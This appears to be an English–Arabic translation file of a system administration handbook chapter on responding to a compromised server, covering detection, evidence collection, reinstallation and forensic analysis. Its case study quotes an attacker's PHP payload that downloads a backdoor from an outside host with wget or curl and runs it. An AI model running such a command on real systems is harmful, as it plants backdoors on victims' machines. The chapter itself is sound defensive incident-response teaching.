en: Despite the best intentions and however carefully designed the security policy, an administrator eventually faces an act of hijacking. This section provides a few guidelines on how to react when confronted with these unfortunate circumstances.
ar-MA: بالرغم من أحسن النوايا ومهما كانت السياسة الأمنية مصممة بحذر، سيواجه مدير النظام حالة قرصنة في النهاية. يقدّم هذا القسم بعض الإرشادات عن كيفية التصرف عند مواجهة هذه الظروف المشؤومة.

en: Detecting and Seeing the Cracker's Intrusion
ar-MA: اكتشاف وملاحظة تطفل المخترقين

en: The first step of reacting to cracking is to be aware of such an act. This is not self-evident, especially without an adequate monitoring infrastructure.
ar-MA: الخطوة الأولى في مواجهة الاختراق هي اكتشاف هذا النشاط. لا يُظهِر النشاط نفسه، خصوصاً في حال غياب البنية التحتية المناسبة لمراقبة النظام.

en: A program installed under <filename>/var/tmp/</filename> and running as the web server? No doubt left, the machine is compromised.
ar-MA: برنامج مُثبّتٌ في <filename>/var/tmp/</filename> ويعمل كمخدم وب؟ الجهاز مُختَرَق ولا ريب.

en: This is only one example, but many other hints can ring the administrator's bell:
ar-MA: هذا مثال واحد فقط، لكن هناك أمارات أخرى كثيرة يمكن أن تثير حفيظة مدير النظام:

en: an option to a command that no longer works; the version of the software that the command claims to be doesn't match the version that is supposed to be installed according to <command>dpkg</command>;
ar-MA: عدم عمل أحد خيارات أمر ما؛ الإصدارة التي يدعيها البرنامج لا تطابق الإصدارة التي يُفتَرض أنها مثبتة حسب <command>dpkg</command>؛

en: a command prompt or a session greeting indicating that the last connection came from an unknown server on another continent;
ar-MA: ترحيب من سطر الأوامر أو جلسة العمل يُظهِر أن آخر اتصال كان من مخدم غير معروف من قارة أخرى؛

en: errors caused by the <filename>/tmp/</filename> partition being full, which turned out to be full of illegal copies of movies;
ar-MA: أخطاء ناجمة عن امتلاء قسم <filename>/tmp/</filename>، الذي تبيّن أنه محشو بنسخ غير قانونية للأفلام؛

en: and so on.
ar-MA: وغير ذلك.

en: Putting the Server Off-Line
ar-MA: فصل المخدم عن الشبكة

en: In any but the most exotic cases, the cracking comes from the network, and the attacker needs a working network to reach their targets (access confidential data, share illegal files, hide their identity by using the machine as a relay, and so on). Unplugging the computer from the network will prevent the attacker from reaching these targets, if they haven't managed to do so yet.
ar-MA: في جميع الحالات عدا العجيبة منها، ترد الاختراقات من الشبكة، ويحتاج المهاجم لشبكة فعالة للوصول إلى أهدافه (الوصول لمعلومات سرية، مشاركة ملفات غير قانونية، إخفاء هويته عبر استخدام الجهاز كمحطة ترحيل، وغيرها). فصل الجهاز عن الشبكة سيمنع المهاجم من الوصول لهذه الأهداف، إن لم يتمكن من تحقيقها بعد.

en: Keeping Everything that Could Be Used as Evidence
ar-MA: الاحتفاظ بكل ما يمكن استخدامه كدليل

en: Understanding the attack and/or engaging legal action against the attackers requires taking copies of all the important elements; this includes the contents of the hard disk, a list of all running processes, and a list of all open connections. The contents of the RAM could also be used, but it is rarely used in practice.
ar-MA: لفهم الهجوم و (أو) اتخاذ إجراءات قانونية ضد المهاجمين يجب أخذ نسخ عن جميع العناصر المهمة؛ هذا يتضمن محتويات القرص الصلب، ولائحة بجميع العمليات الفعالة، ولائحة بجميع الاتصالات المفتوحة. يجب استخدام محتويات الذاكرة RAM أيضاً، لكنها نادراً ما تستخدم عملياً.

en: In the heat of action, administrators are often tempted to perform many checks on the compromised machine; this is usually not a good idea. Every command is potentially subverted and can erase pieces of evidence. The checks should be restricted to the minimal set (<command>netstat -tupan</command> for network connections, <command>ps auxf</command> for a list of processes, <command>ls -alR /proc/[0-9]*</command> for a little more information on running programs), and every performed check should carefully be written down.
ar-MA: في غمرة الحدث؛ يميل مديرو النظم غالباً لتنفيذ العديد من الفحوصات على الجهاز المُختَرَق؛ هذه ليست فكرة جيدة عادة. أي أمر تنفذه يحتمل أن يمسح جزءاً من الأدلة. يجب تقليل الفحوصات إلى أقل ما يمكن (<command>netstat -tupan</command> لاتصالات الشبكة، <command>ps auxf</command> للحصول على قائمة العمليات، <command dir="ltr">ls -alR /proc/[0-9]*</command> لمزيد من المعلومات الإضافية عن البرامج الفعالة)، كما يجب كتابة كل الفحوصات التي أجريت بحذر.

en: <emphasis>CAUTION</emphasis> Hot analysis
ar-MA: <emphasis>تحذير</emphasis> التحليل الساخن

en: If such a hot analysis is still required, care should be taken to only use known-good programs. A good way to do that would be to have a rescue CD with pristine programs, or a read-only network share. However, even those countermeasures may not be enough if the kernel itself is compromised.
ar-MA: إذا كان هناك حاجة لإجراء تحليل ساخن كهذا، فلا بد من أخذ الحيطة واستخدام برامج سليمة موثوقة. من الطرق الجيدة لفعل هذا استخدام CD إنقاذ فيه البرامج الأصلية، أو مشاركة شبكية للقراءة فقط. على أي حال، حتى هذه الإجراءات المضادة قد لا تكفي، إذا كانت النواة نفسها تعرضت للعبث.

en: Once the “dynamic” elements have been saved, the next step is to store a complete image of the hard-disk. Making such an image is impossible if the filesystem is still evolving, which is why it must be remounted read-only. The simplest solution is often to halt the server brutally (after running <command>sync</command>) and reboot it on a rescue CD. Each partition should be copied with a tool such as <command>dd</command>; these images can be sent to another server (possibly with the very convenient <command>nc</command> tool). Another possibility may be even simpler: just get the disk out of the machine and replace it with a new one that can be reformatted and reinstalled.
ar-MA: فور حفظ العناصر ”الديناميكية“، الخطوة التالية هي تخزين صورة عن القرص الصلب. لا يمكن أخذ صورة كهذه إذا كان نظام الملفات في تغيُّر، ولذلك يجب إعاده ربطه في وضع القراءة فقط. أبسط حل في الغالب هو إيقاف المخدم قسراً (بعد تشغيل <command>sync</command>) وإعادة إقلاعه إلى قرص إنقاذ. يجب نسخ جميع الأقسام باستخدام أداة مثل <command>dd</command>؛ يمكن إرسال هذه الصور إلى مخدم آخر (ربما عبر استخدام الأداة <command>nc</command> التي تفيد كثيراً في إرسال البيانات الناتجة عن <command>dd</command> إلى جهاز آخر). هناك احتمال آخر ربما كان أبسط: فقط أخْرِج القرص من الجهاز واستبدله بآخر جديد يمكن إعادة تهيئته وتثبيت النظام عليه.

en: Re-installing
ar-MA: إعادة التثبيت

en: <primary>backdoor</primary>
ar-MA: <primary>باب خلفي</primary>

en: The server should not be brought back on line without a complete reinstallation. If the compromise was severe (if administrative privileges were obtained), there is almost no other way to be sure that we get rid of everything the attacker may have left behind (particularly <emphasis>backdoors</emphasis>). Of course, all the latest security updates must also be applied so as to plug the vulnerability used by the attacker. Ideally, analyzing the attack should point at this attack vector, so one can be sure of actually fixing it; otherwise, one can only hope that the vulnerability was one of those fixed by the updates.
ar-MA: يجب عدم إعادة وصل المخدم بالشبكة قبل إعادة تثبيت النظام عليه بالكامل. إذا كان الاختراق عميقاً (إذا حصل المهاجم على صلاحيات الإدارة)، فلا توجد طريقة أخرى تقريباً للتأكد من أننا تخلصنا من جميع مخلفات المهاجم (خصوصاً <emphasis>الأبواب الخلفية backdoors</emphasis>). طبعاً، يجب تطبيق آخر التحديثات الأمنية أيضاً لسد الثغرة التي استخدمها المهاجم. مثالياً، يجب أن يشير تحليل الهجوم إلى نوع الهجمة التي استخدمت، بحيث يتأكد المرء من إصلاحها حقاً؛ وإلا، فإنه لا يسع الإنسان إلا أن يأمل أن الثغرة كانت واحدة من الثغرات التي أصلحتها التحديثات.

en: Forensic Analysis
ar-MA: التحليل الجنائي

en: Now that the service has been restored, it is time to have a closer look at the disk images of the compromised system in order to understand the attack vector. When mounting these images, care should be taken to use the <literal>ro,nodev,noexec,noatime</literal> options so as to avoid changing the contents (including timestamps of access to files) or running compromised programs by mistake.
ar-MA: بعد استعادة الخدمة، حان الوقت لفحص صور القرص المأخوذة من النظام المخترق في سبيل فهم طريقة الهجوم. عند ربط هذه الصور بنظام الملفات، يجب الانتباه لاستخدام الخيارات <literal>ro,nodev,noexec,noatime</literal> لتفادي تعديل محتوياتها (بما في ذلك تواريخ الوصول للملفات) أو تشغيل برامج مشبوهة عن طريق الخطأ.

en: Retracing an attack scenario usually involves looking for everything that was modified and executed:
ar-MA: يشمل تتبع سلسلة أحداث الهجوم عادة البحث عن كل شيء تَعدَّل أو نُفِّذ:

en: <filename>.bash_history</filename> files often provide for a very interesting read;
ar-MA: قراءة ملفات <filename dir="ltr">.bash_history</filename> مثيرة جداً للاهتمام غالباً؛

en: so does listing files that were recently created, modified or accessed;
ar-MA: كذلك سرد الملفات التي أنشئت مؤخراً، أو عدّلت أو فُتِحَت؛

en: the <command>strings</command> command helps identifying programs installed by the attacker, by extracting text strings from a binary;
ar-MA: يساعد الأمر <command>strings</command> في التعرف على البرامج التي ثبّتَها المخترِق، عبر استخراج السلاسل النصية من الملفات الثنائية؛

en: the log files in <filename>/var/log/</filename> often allow reconstructing a chronology of events;
ar-MA: تسمح ملفات السجلات في <filename>/var/log/</filename> غالباً بإعادة بناء تسلسل زمني للأحداث.

en: special-purpose tools also allow restoring the contents of potentially deleted files, including log files that attackers often delete.
ar-MA: كما تسمح الأدوات المتخصصة باستعادة محتويات أي ملفات محذوفة، بما فيها ملفات السجلات التي يحذفها المهاجمون غالباً.

en: Reconstituting the Attack Scenario
ar-MA: إعادة بناء سيناريو الهجوم

en: All the elements collected during the analysis should fit together like pieces in a jigsaw puzzle; the creation of the first suspect files is often correlated with logs proving the breach. A real-world example should be more explicit than long theoretical ramblings.
ar-MA: يجب أن تنطبق جميع العناصر التي جُمِعَت أثناء عملية التحليل مع بعضها مثل قطع أحجية تركيب الصور؛ غالباً ما يترافق إنشاء أولى الملفات المشبوهة مع سجلات تُثْبت عملية الاختراق. يجب أن تكون الأمثلة الحقيقية أفصح من اللغو النظري.

en: The following log is an extract from an Apache <filename>access.log</filename>:
ar-MA: السجل التالي هو جزء من سجل <filename>access.log</filename> التابع لأباتشي:

en: Decoding this long URL leads to understanding that the attacker managed to run some PHP code, namely: <command>system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;")</command>. Indeed, a <filename>bd</filename> file was found in <filename>/tmp/</filename>. Running <command>strings /mnt/tmp/bd</command> returns, among other strings, <literal>PsychoPhobia Backdoor is starting...</literal>. This really looks like a backdoor.
ar-MA: عبر فك تشفير عنوان URL الطويل هذا سنفهم أن المهاجم قد تمكن من تنفيذ كود PHP التالي: <command dir="ltr">system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;")</command>. وبالفعل، لقد عثرنا على ملف <filename>bd</filename> في <filename>/tmp/</filename>. يعيد لنا تنفيذ <command>strings /mnt/tmp/bd</command> مجموعة سلاسل، منها <literal dir="ltr">PsychoPhobia Backdoor is starting...</literal>. يبدو أنه باب خلفي فعلاً.

en: Some time later, this access was used to download, install and run an IRC <emphasis>bot</emphasis> that connected to an underground IRC network. The bot could then be controlled via this protocol and instructed to download files for sharing. This program even has its own log file:
ar-MA: في وقت لاحق، استُخدِمَت هذه الصلاحيات لتنزيل وتثبيت وتشغيل <emphasis>بوت</emphasis> IRC يتصل بشبكة IRC سرية (underground). يمكن بعدها التحكم بالبوت عبر هذا البروتوكول وأمره بتنزيل ملفات للمشاركة. بل إن هناك سجل خاص بهذا البرنامج:

en: These traces show that two video files have been stored on the server by way of the 82.50.72.202 IP address.
ar-MA: تُظهِر هذه الأمثلة تخزين ملفي فيديو على المخدم بوساطة العنوان 82.50.72.202.

en: In parallel, the attacker also downloaded a pair of extra files, <filename>/tmp/pt</filename> and <filename>/tmp/loginx</filename>. Running these files through <command>strings</command> leads to strings such as <foreignphrase>Shellcode placed at 0x%08lx</foreignphrase> and <foreignphrase>Now wait for suid shell...</foreignphrase>. These look like programs exploiting local vulnerabilities to obtain administrative privileges. Did they reach their target? In this case, probably not, since no files seem to have been modified after the initial breach.
ar-MA: على التوازي، عمد المهاجم إلى تنزيل زوج من الملفات الإضافية، <filename dir="ltr">/tmp/pt</filename> و <filename dir="ltr">/tmp/loginx</filename> تمرير هذين الملفين على <command>strings</command> يعطي سلاسل مثل <foreignphrase>Shellcode placed at 0x%08lx</foreignphrase> و <foreignphrase dir="ltr">Now wait for suid shell...</foreignphrase>. يبدوان وكأنهما برنامجين لاستغلال الثغرات المحلية للحصول على الصلاحيات الإدارية. لكن هل حققا هدفهما؟ في هذه الحالة، غالباً لم يصلا، لأنه لا يبدو أن هناك ملفات عُدّلت بعد الاختراق الأولي.

en: In this example, the whole intrusion has been reconstructed, and it can be deduced that the attacker has been able to take advantage of the compromised system for about three days; but the most important element in the analysis is that the vulnerability has been identified, and the administrator can be sure that the new installation really does fix the vulnerability.
ar-MA: في هذا المثال، أعدنا بناء عملية التطفل كاملة، ويمكن أن نستنتج أن المهاجم تمكن من الاستفادة من النظام المخترق لحوالي ثلاثة أيام؛ لكن أهم عنصر في هذا التحليل هو أننا قد تعرفنا على الثغرة، ويستطيع مدير النظام أن يضمن أن الثغرة قد أُصلحَت فعلاً في التثبيت الجديد.
